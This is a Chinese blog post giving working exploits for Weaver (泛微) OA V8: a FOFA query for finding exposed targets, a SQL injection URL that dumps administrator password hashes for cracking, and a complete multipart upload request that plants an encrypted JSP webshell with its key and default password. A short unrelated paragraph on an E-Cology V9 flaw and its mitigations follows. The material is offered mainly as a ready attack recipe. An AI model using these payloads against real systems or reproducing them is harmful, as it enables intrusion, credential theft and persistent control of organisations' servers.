泛微OA V8 SQL注入漏洞和文件上传漏洞

fofa语句

app="泛微-协同办公OA"

SQL注入

在泛微OA V8中的getdata.jsp文件里,通过gatData方法将数据获取并回显在页面上,而在getData方法中,判断请求里cmd参数是否为空,如果不为空,调用proc方法。其中它存在四个参数,分别为空字符串、cmd参数值、request对象以及serverContext对象,通过对cmd参数值进行判断,当cmd值等于getSelectAllId时,再从请求中获取sql和type两个参数值,并将参数传递进getSelectAllIds(sql,type)方法中,从而在前台构造POC语句:

http://xxx.xxx.xxx.xxx/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20password%20as%20id%20from%20HrmResourceManager

访问存在漏洞的网站:http://x.x.x.x/login/Login.jsp?logintype=1,其中该特征属于泛微OA v8系统

通过sql注入获得密码

http://x.x.x.x/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20password%20as%20id%20from%20HrmResourceManager

得到密码之后MD5解密

账号一般是

sysadmin

文件上传

漏洞位于: /page/exportImport/uploadOperation.jsp文件中

Jsp流程大概是:判断请求是否是multipart请求,直接上传。

重点关注File file=new File(savepath+filename),

Filename参数,是前台可控的,并且没有做任何过滤限制

然后请求 然后请求路径:
page/exportImport/fileTransfer/1.jsp

POST /page/exportImport/uploadOperation.jsp HTTP/1.1

Host: xxx.xxx.xxx.xxx

Content-Length: 397

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Edg/89.0.774.68

Origin: null

Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6XgyjB6SeCArD3Hc

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

dnt: 1

x-forwarded-for: 127.0.0.1

Connection: close

------WebKitFormBoundary6XgyjB6SeCArD3Hc

Content-Disposition: form-data; name="file"; filename="demo.jsp"

Content-Type: application/octet-stream

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

------WebKitFormBoundary6XgyjB6SeCArD3Hc--

地址: /page/exportImport/fileTransfer/demo.jsp

默认密码 rebeyond

  • 8
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
OA E-Cology V9是一款常用的企业办公自动化系统,该系统的browser.jsp页面存在SQL注入漏洞SQL注入是一种常见的网络攻击技术,攻击者可以通过构造恶意的SQL语句来绕过系统的认证和授权机制,进而获取敏感数据或者对系统进行非法操作。 OA E-Cology V9中的browser.jsp页面是用于显示OA系统中的个人文件夹和公共文件夹。攻击者可以在该页面中输入恶意的SQL语句,通过执行这些恶意SQL语句,攻击者可以获取到不应该被访问的数据,比如其他用户的文件,甚至可以对数据库进行修改和损坏。 为了防止SQL注入漏洞的利用,可以采取以下措施: 1. 输入过滤和验证:在服务器端对用户输入的数据进行过滤和验证,去除或转义可能包含恶意SQL代码的字符,确保只接受合法的输入。 2. 使用参数化查询:尽量使用参数化查询代替拼接SQL语句的方式,参数化查询可以预编译SQL语句,避免在拼接时引入恶意代码。 3. 限制数据库用户的权限:对数据库用户进行权限控制,确保每个用户只拥有最小必要的权限,减少攻击者利用SQL注入漏洞进行非法操作的机会。 4. 及时更新和修补漏洞:及时跟进厂商的安全通告并安装最新的补丁程序,确保系统始终处于最新的安全状态。 综上所述,OA E-Cology V9中的browser.jsp页面存在SQL注入漏洞,但通过合理的安全措施和注意事项,我们可以有效地减少该漏洞被利用的风险。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值